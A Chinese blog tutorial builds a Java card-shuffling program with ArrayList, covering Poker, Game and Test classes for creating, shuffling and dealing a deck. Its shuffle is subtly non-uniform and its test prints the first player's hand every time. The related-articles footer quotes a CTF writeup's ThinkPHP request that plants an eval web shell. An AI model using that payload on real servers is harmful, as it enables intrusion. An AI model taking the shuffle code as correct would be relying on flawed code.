ArrayList | 简单的洗牌算法

news/2025/1/11 14:27:38/

一个洗牌程序需要包含:

  1. 创建一副扑克牌(除去大小王剩下52张,每种花色13张)。
  2. 洗牌,打乱牌的顺序。
  3. 揭牌,每位玩家轮流揭牌,从洗完后的牌组中获得自己的牌。

因此,我们可以依照以下思路来完成一个洗牌程序:

目录

一、创建扑克牌类Poker

二、创建游戏类Game

1、获得一副扑克牌

(1)花色数组

(2)指定玩家人数与玩家摸牌数

(3)创建一副扑克

2、洗牌

3、揭牌

三、完整代码


一、创建扑克牌类Poker

观察扑克牌可知,每张扑克牌都具备的属性有:花色(suit)与牌面数字(rank)。因此,我们创建的Poker类中就需包含这两个属性,以及它们对应的构造方法,getter()与setter()方法(这两个方法在本程序中用不到,之所以加上是为了体现这里的封装特性,不加也不会对程序有很大影响)。

同时,为了让程序运行之后的结果更加清楚,我们还需重写一下toString()方法。这样,一个Poker类就设计好了。

public class Poker {private String suit;    //花色private int rank;   //面值//构造方法public Poker(String suit, int rank) {this.suit = suit;this.rank = rank;}//getter()与setter()public String getSuit() {return suit;}public void setSuit(String suit) {this.suit = suit;}public int getRank() {return rank;}public void setRank(int rank) {this.rank = rank;}//重写toString()@Overridepublic String toString() {return "{" + suit + " " + rank + "}";}
}

二、创建游戏类Game

Game类中包含创建一副扑克牌、洗牌、揭牌的各种方法,控制的是游戏的主要环节。

1、获得一副扑克牌

在Poker中,我们并没有给出扑克牌具体的花色和牌面数字。Poker类相当于只是一张扑克牌的概念,只是规定了每张Poker牌由suit和rank组成。但在Game中,我们需要真正“得到”这一整副扑克牌。

(1)花色数组

可以用一个花色数组来存放这四种花色:[ ♥ , ♠ , ♣ , ♦ ]

private static final String[] suits = {"红桃","黑桃","梅花","方片"};

(2)指定玩家人数与玩家摸牌数

我们指定有3位玩家,每位玩家共可以摸5张牌。 

public final int PLAYERS_NUMBER = 3;
public final int DEFAULT_CARDS = 5;

(3)创建一副扑克

首先,我们是通过ArrayList这个容器来存储一副扑克的。可以把ArrayList想象成装牌的小方盒。因此我们要new ArrayList<>(),并把传入的数据类型指定为Poker:

List<Poker> pokerList = new ArrayList<>();

然后我们就可以根据花色与数值,将不同的牌添加进pokerList当中。扑克牌共4种花色,每种花色的数值是1~13(这里先不把11、12、13单独转换成J、Q、K)。用两个for循环嵌套即可完成这个过程。

    public List<Poker> buyPoker() {//通过ArrayList存放PokerList<Poker> pokerList = new ArrayList<>();//给pokerList中添加扑克牌for (int i = 0; i < 4; i++) {for (int j = 1; j <= 13; j++) {//构造单张扑克牌Poker poker = new Poker(suits[i],j);//加入pokerList.add(poker);}}return pokerList;}

4花色从前面的花色数组中通过suits[i]依次获取,数值则通过j的值来获取。最终返回pokerList即可。

这时我们在Test类的main()方法中调用buyPoker()方法获取扑克牌,并打印,呈现如下效果:

//Test.javaimport java.util.List;public class Test {public static void main(String[] args) {Game game = new Game();List<Poker> pokerList = game.buyPoker();System.out.println(pokerList);}}

 

... 

 

可以看到,52张扑克牌依次顺序展现在我们眼前。获取扑克牌的过程就完成了。

2、洗牌

接下来要做的是洗牌,也就是把牌的顺序随机打乱。通过random对象即可搞定。

下图是创建了之后的扑克牌,打乱的方式就是随机的不同的牌之间两两调换位置。我们可以用random对象获取一定范围内的随机数作为要调换的目标牌的下标,这样就能做到随机调换了。但这里有一个问题,那就是洗牌的过程中牌在不断地变化,如何方便地控制好random的范围呢?

random.nextInt(a)创出的随机数范围是[0.a)。如果从左向右遍历,那么左边的牌需要在右边随机找牌换,随着牌下标i的不断变化,在右边随机找牌这个操作相对比较繁琐。但如果我们转换思路,从最右边也就是ArrayList的最后一个元素由右向左遍历,那么控制随机数下标范围就会容易得多。用i表示下标的话,只需要random.nextInt(i),即可获得[0,i)之间的随机数,恰好是左半边的范围。

结合ArrayList获取与设置元素的方法get()和set(),可以得到如下代码:

    public void shuffle(List<Poker> pokerList) {for (int i = pokerList.size()-1; i > 0; i--) {//创建random对象Random random = new Random();int index = random.nextInt(i);//交换this.swap(pokerList,i,index);}}private void swap(List<Poker> pokerList,int i,int j) {Poker tmp = pokerList.get(i);pokerList.set(i,pokerList.get(j));pokerList.set(j,tmp);}

调用后结果如下:

第一行是洗牌前,第二行是洗牌后,牌已经被随机打乱。

3、揭牌

揭牌的过程实质上就是将牌从pokerList中移除的过程。想象一下现实中揭牌的过程,在洗完牌后把牌倒扣在桌面上,每个玩家依次从一堆牌的最顶上摸走一张牌。在编程中的体现就是,将0下标(也就是第一个位置)的牌移除,并将移除了的牌添加到玩家手中。

        for (int i = 0; i < DEFAULT_CARDS; i++) {for (int j = 0; j < PLAYERS_NUMBER; j++) {players.get(j).add(pokerList.remove(0));}}

但如何实现“三位玩家轮流摸牌”呢?如果把三位player视作三个ArrayList,每个player简化为存放他们各自牌的容器,那么此时这三个player是彼此独立的。如果我们再创建一个List<Poker>类型的List容器,将这三个player装入,那么它们三个也就具有顺序关系了。于是,实现代码如下:

    public List<List<Poker>> getCards(List<Poker> pokerList){List<List<Poker>> players = new ArrayList<>();List<Poker> player1 = new ArrayList<>();List<Poker> player2 = new ArrayList<>();List<Poker> player3 = new ArrayList<>();players.add(player1);players.add(player2);players.add(player3);for (int i = 0; i < DEFAULT_CARDS; i++) {for (int j = 0; j < PLAYERS_NUMBER; j++) {players.get(j).add(pokerList.remove(0));}}return players;}

运行后得:


三、完整代码

//Test.javaimport java.util.List;public class Test {public static void main(String[] args) {Game game = new Game();List<Poker> pokerList = game.buyPoker();System.out.println(pokerList);game.shuffle(pokerList);System.out.println(pokerList);List<List<Poker>> players = game.getCards(pokerList);for (int i = 0; i < game.PLAYERS_NUMBER; i++) {System.out.println("玩家" + (i+1) + players.get(0));System.out.println();}System.out.println("剩下的牌:" + pokerList);}}
//Poker.javapublic class Poker {private String suit;    //花色private int rank;   //面值//构造方法public Poker(String suit, int rank) {this.suit = suit;this.rank = rank;}//getter()与setter()public String getSuit() {return suit;}public void setSuit(String suit) {this.suit = suit;}public int getRank() {return rank;}public void setRank(int rank) {this.rank = rank;}//重写toString()@Overridepublic String toString() {return "{" + suit + " " + rank + "}";}
}

 

//Game.javaimport java.util.*;public class Game {private static final String[] suits = {"红桃","黑桃","梅花","方片"};public final int PLAYERS_NUMBER = 3;public final int DEFAULT_CARDS = 5;public List<Poker> buyPoker() {List<Poker> pokerList = new ArrayList<>();for (int i = 0; i < 4; i++) {for (int j = 1; j <= 13; j++) {Poker poker = new Poker(suits[i],j);pokerList.add(poker);}}return pokerList;}public void shuffle(List<Poker> pokerList) {for (int i = pokerList.size()-1; i > 0; i--) {Random random = new Random();int index = random.nextInt(i);this.swap(pokerList,i,index);}}private void swap(List<Poker> pokerList,int i,int j) {Poker tmp = pokerList.get(i);pokerList.set(i,pokerList.get(j));pokerList.set(j,tmp);}//揭牌public List<List<Poker>> getCards(List<Poker> pokerList){List<List<Poker>> players = new ArrayList<>();List<Poker> player1 = new ArrayList<>();List<Poker> player2 = new ArrayList<>();List<Poker> player3 = new ArrayList<>();players.add(player1);players.add(player2);players.add(player3);for (int i = 0; i < DEFAULT_CARDS; i++) {for (int j = 0; j < PLAYERS_NUMBER; j++) {players.get(j).add(pokerList.remove(0));}}return players;}}

http://www.ppmy.cn/news/10482.html

相关文章

2023 Real World CTF体验赛部分Writeup

web1 Thinkphp lang多语言 RCE漏洞&#xff0c;直接打 GET /index.php?config-create/<?eval($_REQUEST[1]);?>/tmp/keep.php HTTP/1.1 Host: 47.98.124.175:8080 Cache-Control: max-age0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; …

力扣sql入门篇(一)

力扣sql入门篇(一) 1 两人之间的通话天数 1.1 题目内容 1.1.1 基本题目信息 1.1.2 示例输入输出 1.2 示例sql语句 # 两个人之间的通话需要统计成一次 SELECT from_id person1,to_id person2,count(*) call_count,sum(duration) total_duration FROM Calls GROUP BY least(f…

Java之String概述、对象创建原理和常见面试题、String类常用API、案例

目录String、ArrayList前言String简单介绍Arraylist简单介绍String 概述String类的特点详解总结String类创建对象的两种方式两种方式有什么区别吗&#xff1f;总结String常见面试题String类常用API-字符串内容比较总结String类常用API-遍历、替换、截取、分割操作String案例验证…

Ansible 介绍与实战操作演示

文章目录一、概述二、Ansible 架构三、Ansible 工作原理四、Ansible 安装与基础配置1&#xff09;开启记录日志2&#xff09;去掉第一次连接ssh ask确认五、Ansible 的七个命令1&#xff09;ansible2&#xff09;ansible-doc3&#xff09;ansible-playbook4&#xff09;ansible…

数据库,计算机网络、操作系统刷题笔记28

数据库&#xff0c;计算机网络、操作系统刷题笔记28 2022找工作是学历、能力和运气的超强结合体&#xff0c;遇到寒冬&#xff0c;大厂不招人&#xff0c;可能很多算法学生都得去找开发&#xff0c;测开 测开的话&#xff0c;你就得学数据库&#xff0c;sql&#xff0c;oracle…

AtCoder Beginner Contest 284.(A--E)

AtCoder Beginner Contest 284A - Sequence of Strings1、问题2、代码B - Multi Test Cases1、问题2、代码C - Count Connected Components1、问题&#xff1a;2、思路&#xff1a;——并查集、DFS3、代码方法1&#xff1a;并查集方法2&#xff1a;DFSD - Happy New Year 20231…

Apache Hive 使用

Apache Hive 使用使用beeline 连接Apache Hive查看数据库使用或进入数据库创建表查看数据表上传数据数据操纵语言&#xff08;DML&#xff09;查询语句函数数学函数条件函数) 使用beeline 连接Apache Hive /export/server/apache-hive-3.1.2-bin/bin/beelinebeeline> ! co…

23届秋招,寒气逼人。。

本文已经收录到Github仓库&#xff0c;该仓库包含计算机基础、Java基础、多线程、JVM、数据库、Redis、Spring、Mybatis、SpringMVC、SpringBoot、分布式、微服务、设计模式、架构、校招社招分享等核心知识点&#xff0c;欢迎star~ Github地址&#xff1a;https://github.com/T…